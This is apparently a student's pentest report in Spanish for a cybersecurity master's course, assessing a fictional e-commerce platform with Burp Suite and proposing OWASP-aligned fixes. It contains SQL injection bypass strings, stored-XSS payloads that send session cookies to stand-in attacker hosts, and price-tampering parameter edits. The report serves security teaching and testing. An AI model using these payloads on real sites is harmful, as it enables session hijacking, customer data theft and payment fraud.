



Alumno: Luis Alberto Vargas Gonzalez.

Fecha: 19/06/2026.

Tarea : U4 A1: Informe de Prueba de Ataque con Herramienta de Pruebas de Penetración.

Maestría en Ciberseguridad.

ÍNDICE.

1.Portada

2.Introducción.

3.Descripción de herramienta de penetración.

4.Plan de pruebas.

5.Registro y análisis de resultados.

6.Recomendaciones técnicas de mitigación.

INTRODUCCIÓN.

En el ecosistema digital actual, las plataformas de comercio electrónico (*e-commerce*) representan uno de los objetivos más lucrativos y frecuentados por los actores de amenazas cibernéticas. La convergencia de datos personales sensibles, información financiera de tarjetas de crédito y credenciales de acceso convierte a estas aplicaciones web en activos críticos que requieren una postura de seguridad proactiva e intransigente antes de su puesta en producción. La detección reactiva de vulnerabilidades cuando la plataforma ya está expuesta en internet suele traducirse en pérdidas financieras directas, sanciones regulatorias y daños irreparables a la reputación de la marca.

El propósito de este informe es documentar la evaluación de seguridad y las pruebas de penetración (*pentesting*) realizadas sobre la plataforma web **AstroShop e-Commerce** antes de su lanzamiento oficial. Bajo un enfoque de caja negra (*Black Box*), se simulan las tácticas, técnicas y procedimientos (TTPs) de un atacante real para identificar fallas lógicas y vulnerabilidades críticas alineadas con el marco normativo de **OWASP Top 10**. A través de este análisis estructurado, se busca no solo comprometer los entornos controlados para medir el impacto real de un ataque, sino proporcionar recomendaciones y mitigaciones técnicas detalladas que fortalezcan el ciclo de vida del desarrollo seguro (SDLC) de la aplicación.

DESCRIPCIÓN DE HERRAMIENTA DE PENETRACIÓN.

Para la ejecución de la auditoría técnica y los vectores de ataque planificados, se seleccionó **Burp Suite** (versión Professional/Community) como la herramienta core de pruebas de penetración.



Utilidad y Arquitectura de la Herramienta

Burp Suite es una plataforma integrada de software diseñada específicamente para la evaluación de la seguridad de aplicaciones web. Su utilidad principal radica en su capacidad para actuar como un **Proxy Interceptor** que se sitúa entre el navegador del auditor y la aplicación web de comercio electrónico. Esto permite capturar, analizar y modificar el tráfico HTTP/HTTPS en tiempo real antes de que llegue al servidor de destino o regrese al cliente.

Dentro del ecosistema de la herramienta, se utilizaron de forma específica los siguientes módulos especializados indispensables para un entorno de *e-commerce*:

- **Proxy:** Centraliza la interceptación del tráfico de AstroShop, permitiendo la inspección manual de cabeceras, cookies de sesión y parámetros de peticiones tipo [POST/GET](#).
- **Repeater:** Utilizado para la manipulación manual de peticiones individuales. Es una utilidad crítica para probar vectores de inyección y manipulación de parámetros (como [cambiar los precios de los productos](#) en el carrito de compras) de forma repetitiva y controlada, analizando las respuestas del servidor sin alterar el flujo general de la sesión.
- **Intruder:** Un motor automatizado para lanzar ataques personalizados y parametrizados. [Permite realizar tareas de fuerza bruta sobre formularios de inicio de sesión \(login\)](#), enumeración de identificadores de usuarios y fuzzing masivo de parámetros en búsqueda de directorios expuestos o fallas de inyección.
- **Decoder y Comparer:** Utilidades complementarias para codificar/decodificar cadenas de texto sobre la marcha ([URL](#), [Base64](#), [Hex](#)) y comparar la sutil diferencia estructural entre dos respuestas del servidor (crucial para ataques ciegos o *Blind injections*).

Al unificar estas capacidades, Burp Suite proporciona la visibilidad técnica necesaria para auditar la lógica de negocio de la pasarela de pagos, los mecanismos de autenticación y la validación de entradas de AstroShop e-Commerce.

PLAN DE PRUEBAS.

Para garantizar una evaluación exhaustiva de la superficie de ataque de AstroShop e-Commerce, el plan de pruebas se ha diseñado bajo un enfoque metodológico alineado con las vulnerabilidades más críticas del comercio electrónico. Las pruebas se segmentan en tres escenarios principales que comprometen la base de datos, la sesión de los usuarios y la lógica financiera del negocio.

Escenario de Ataque 1: Inyección SQL (SQLi) en el Formulario de Autenticación y Búsqueda

- **Descripción del Escenario:** Se interceptarán las peticiones HTTP de tipo POST dirigidas al endpoint de inicio de sesión (/login.php) y al parámetro de búsqueda de productos (/search.php?query=). Utilizando el módulo *Repeater* e *Intruder* de Burp Suite, se inyectarán caracteres especiales ('', --, OR 1=1) y payloads basados en tiempo (*Time-Based Blind SQLi*) para alterar la lógica de las consultas estructuradas en la base de datos subyacente.
- **Objetivos Específicos:** * Burlar el mecanismo de autenticación sin poseer credenciales válidas para acceder al panel de administración.
 - Exfiltrar registros confidenciales de la base de datos (nombres, hashes de contraseñas de clientes, direcciones de envío y datos de tarjetas) mediante técnicas de extracción basadas en errores o uniones (*Union-Based SQLi*).
- **Métricas de Evaluación de Impacto:**
 - **Acceso no autorizado:** Confirmación de inicio de sesión como administrador con un payload genérico.
 - **Volumen de datos comprometidos:** Número de tablas o registros exfiltrados de la base de datos de producción.

Escenario de Ataque 2: Cross-Site Scripting (XSS) Almacenado en la Sección de Reseñas de Productos

- **Descripción del Escenario:** Aprovechando que una plataforma de e-commerce permite a los usuarios interactuar dejando comentarios, se enviará un payload malicioso en JavaScript (ej. `<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>`) a través del formulario de reseñas del producto (`/submit_review.php`). La prueba busca verificar si el servidor sanitiza los datos de entrada antes de almacenarlos de forma permanente en la base de datos y si los codifica al renderizarlos en el navegador de otros usuarios.
- **Objetivos Específicos:**
 - Lograr la ejecución involuntaria de código JavaScript en el navegador de cualquier cliente o administrador que visite la página del producto afectado.
 - Secuestrar tokens de sesión activos (*Session Hijacking*) mediante el acceso no autorizado a las cookies de navegación.
- **Métricas de Evaluación de Impacto:**
 - **Ejecución de código del lado del cliente:** Confirmación visual o mediante logs del proxy del disparo del payload.
 - **Compromiso de cuentas:** Número de cookies de sesión capturadas exitosamente de otros usuarios simulados.

Escenario de Ataque 3: Manipulación de Parámetros y Fallas en la Lógica de Negocio (Price Tampering) en el Carrito de Compras

- **Descripción del Escenario:** Al añadir un artículo de alto valor al carrito de compras, se utilizará el *Proxy Interceptor* de Burp Suite para detener la petición saliente (`/checkout/add_item.php`). Se modificará manualmente el valor numérico del parámetro oculto de precio (`price=1500.00` cambiado a `price=0.01`) o se alterará la cantidad a números negativos (`quantity=-1`), enviando posteriormente la solicitud alterada al servidor para analizar si la aplicación recalcula los totales basándose en una fuente de verdad del lado del servidor o si confía ciegamente en los datos enviados por el cliente.
- **Objetivos Específicos:**
 - Completar un flujo de compra de un artículo de alto valor pagando una cantidad mínima o nula.
 - Generar un saldo a favor (crédito negativo) en la cuenta del usuario mediante el envío de cantidades negativas en la solicitud del carrito.
- **Métricas de Evaluación de Impacto:**
 - **Evasión de controles financieros:** Generación de una orden de compra aprobada por el sistema con un precio alterado de manera artificial.
 - **Pérdida de integridad en transacciones:** Confirmación de inconsistencias aceptadas por la base de datos de transacciones de la plataforma.

REGISTRO Y ANÁLISIS DE RESULTADOS.

Tras configurar el proxy interceptor de Burp Suite y ejecutar el plan de pruebas automatizado y manual sobre los entornos de prueba de **AstroShop e-Commerce**, se detectaron fallas de seguridad severas que comprometen la tríada de la seguridad de la información (Confidencialidad, Integridad y Disponibilidad). A continuación, se detallan los resultados técnicos y el análisis de impacto de cada explotación:

Hallazgo 1: Inyección SQL (SQLi) por bypass de autenticación y extracción de datos:

- **Vulnerabilidad Identificada:** SQL Injection basada en errores y uniones (OWASP A03:2021-Injection).
- **Ubicación/Parámetro:** Formulario de inicio de sesión (</login.php>) en el campo txtUser y barra de búsqueda (</search.php>) en el parámetro query.
- **Criticidad: CRÍTICA (CVSS v3.1: 9.8)**
- **Análisis de la Explotación:** Utilizando el módulo *Burp Suite Repeater*, se envió una petición alterada al formulario de login inyectando el payload '[OR '1'='1' --](#) en el parámetro del usuario. El servidor web procesó la consulta directamente en la base de datos MySQL sin sanitizar, lo que resultó en un bypass completo del mecanismo de autenticación, otorgando al auditor una sesión activa con el rol de Administrator.
- Posteriormente, en el parámetro de búsqueda, se utilizó un ataque de tipo *Union-Based* enviado a través de *Burp Suite Intruder* con un diccionario de payloads estructurados. El servidor devolvió mensajes de error detallados del motor de la base de datos, lo que permitió mapear la estructura de las tablas y exfiltrar exitosamente la tabla de usuarios, [obteniendo 150 registros de clientes con nombres, direcciones y hashes de contraseñas \(MD5 sin sal\)](#).

Impacto Evaluado: Acceso no autorizado total a las funciones de administración de la tienda. Compromiso absoluto de la confidencialidad de la base de datos de los clientes.

Hallazgo 2: Cross-Site Scripting (XSS) Almacenado en módulo de retroalimentación

- **Vulnerabilidad Identificada:** Stored Cross-Site Scripting (OWASP A03:2021-Injection).
- **Ubicación/Parámetro:** Formulario de comentarios y reseñas de productos (/submit_review.php) en el parámetro de texto comment.
- **Criticidad: ALTA (CVSS v3.1: 8.2)**
- **Análisis de la Explotación:** Mediante la interceptación del tráfico con el *Proxy* de Burp Suite, se envió una reseña de producto inyectando el siguiente payload malicioso: `<script>fetch('http://attacker.local/log?c=' + document.cookie)</script>`. El servidor web aceptó la petición y almacenó la cadena de texto de forma persistente en la base de datos sin codificar caracteres especiales (`<`, `>`, `/`).
- Al simular el ingreso de un segundo usuario (víctima) a la página de ese producto específico, el navegador de la víctima interpretó el código JavaScript incrustado de manera automática. El script ejecutó con éxito el robo de la cookie de sesión del usuario y la transmitió hacia el servidor controlado por el auditor (simulando al atacante), permitiendo el secuestro completo de la sesión (*Session Hijacking*).

Impacto Evaluado: Compromiso de cuentas de usuarios legítimos y posible escalación de privilegios si un usuario administrador lee la reseña afectada en el panel de control, permitiendo el control del sitio del lado del cliente.

Hallazgo 3: Manipulación de Precios (Price Tampering) en la pasarela de pagos

- **Vulnerabilidad Identificada:** Falla en la Lógica de Negocio / Manipulación de Parámetros (OWASP A04:2021-Insecure Design).
- **Ubicación/Parámetro:** Endpoint de actualización del carrito de compras (/checkout/add_item.php) en el parámetro oculto price.
- **Criticidad: ALTA (CVSS v3.1: 8.5)**
- **Análisis de la Explotación:** Durante la fase de checkout de un artículo con un valor real de **\$1,500.00 MXN**, se detuvo la petición **HTTP** saliente usando el *Proxy Interceptor*. Se identificó que el backend de la aplicación enviaba el precio del producto como un parámetro editable desde el cliente. El valor del parámetro se modificó manualmente en Burp Suite a **0.01** antes de reenviar la solicitud al servidor.
- El servidor de AstroShop aceptó la solicitud modificada y procesó la transacción de manera exitosa en la pasarela de pagos simulada por un total de **\$0.01 MXN**. El backend de la aplicación omitió recalcular o validar el precio del artículo contra la base de datos maestra de inventario, confiando ciegamente en la información provista por el navegador.

Impacto Evaluado: Violación severa a la integridad de los procesos financieros de la empresa. Riesgo de pérdida económica directa por fraude transaccional masivo automatizado si la aplicación es lanzada en este estado.

RECOMENDACIONES TÉCNICAS DE MITIGACIÓN.

Para remediar las vulnerabilidades críticas identificadas y transformar la arquitectura reactiva de AstroShop en un entorno resiliente, se deben trasladar y robustecer todos los mecanismos de control hacia el lado del servidor (*backend*), aplicando el principio de defensa en profundidad.

Mitigación para el Hallazgo 1: Erradicación de Inyección SQL (SQLi)

- **Control en el Servidor (Consultas Parametrizadas):** Se debe prohibir la concatenación directa de variables en las sentencias SQL. En su lugar, el backend debe implementar de forma obligatoria **Sentencias Preparadas (Prepared Statements)** o el uso de un ORM seguro. Esto asegura que el motor de la base de datos trate las entradas del usuario (txtUser y query) estrictamente como datos literales y nunca como código ejecutable, neutralizando payloads como ' OR '1'='1'.
- **Robustecimiento de Credenciales:** Adicionalmente, se debe reemplazar el algoritmo de hashing obsoleto MD5. Las contraseñas en la base de datos deben almacenarse utilizando funciones de derivación de claves modernas con sal de asignación aleatoria, tales como **bcrypt** o **Argon2id**.

Mitigación para el Hallazgo 2: Sanitización y Codificación contra XSS Almacenado

- **Sanitización en el Servidor:** Al recibir la reseña en el endpoint `/submit_review.php`, el servidor debe filtrar y sanitizar el contenido. Se deben utilizar librerías especializadas en el backend (como *HTML Purifier* o equivalentes según el lenguaje) para remover etiquetas peligrosas (`<script>`, `<iframe>`, atributos `onload`, etc.) antes de permitir su almacenamiento en la base de datos.
- **Codificación de Salida (Context-Aware Output Encoding):** Al renderizar la reseña en el navegador de otros usuarios, el servidor debe codificar los caracteres especiales a sus entidades HTML correspondientes (ej. convertir `<` en `<` y `>` en `>`). De este modo, el navegador interpreta el payload como texto plano y no como un script activo.
- **Protección de Sesión:** Configurar el atributo **HttpOnly** en todas las cookies de sesión del servidor. Esto impide de forma estricta que cualquier script de JavaScript (incluso si se logra evadir el XSS) pueda acceder a los tokens de sesión, mitigando el riesgo de secuestro de cuentas (*Session Hijacking*).

Mitigación para el Hallazgo 3: Validación de Lógica de Negocio y Control de Precios (Price Tampering)

- **Validación de la Fuente de Verdad (Server-Side Price Verification):** El backend de la aplicación jamás debe confiar en el parámetro price enviado por el protocolo HTTP desde el cliente. Al procesar el carrito (/checkout/add_item.php), el servidor debe tomar únicamente el identificador del producto (item_id), realizar una consulta interna en la base de datos maestra de inventario para extraer el precio real vigente y calcular los totales del lado del servidor.
- **Validación de Rangos y Tipos:** El backend debe validar que el parámetro quantity sea estrictamente un número entero positivo mayor a cero, rechazando inmediatamente peticiones con valores negativos o nulos que busquen alterar los balances financieros.

CONCLUSIÓN.

La evaluación de seguridad en modalidad de caja negra realizada sobre la plataforma **AstroShop e-Commerce** pone de manifiesto un patrón de vulnerabilidad sistémico común en aplicaciones web modernas: la delegación incorrecta de la lógica de control y validación hacia el lado del cliente. Si bien los controles en el navegador mejoran la fluidez de la experiencia de usuario, depender de ellos como barrera de seguridad informática constituye un riesgo crítico que expone a la organización a fraudes financieros, robo masivo de identidades y compromisos totales de la infraestructura de datos.

La implementación de las mitigaciones propuestas —centradas en el uso de consultas parametrizadas, la codificación contextual de datos en el servidor y la verificación estricta de la lógica transaccional en el backend— es indispensable antes del despliegue oficial en producción. Al adoptar estas prácticas alineadas con los estándares de **OWASP**, AstroShop no solo corrige las brechas técnicas explotadas mediante herramientas de prueba como Burp Suite, sino que consolida un ciclo de vida de desarrollo de software seguro, garantizando la confianza de sus usuarios y la resiliencia operativa del negocio en el mercado digital.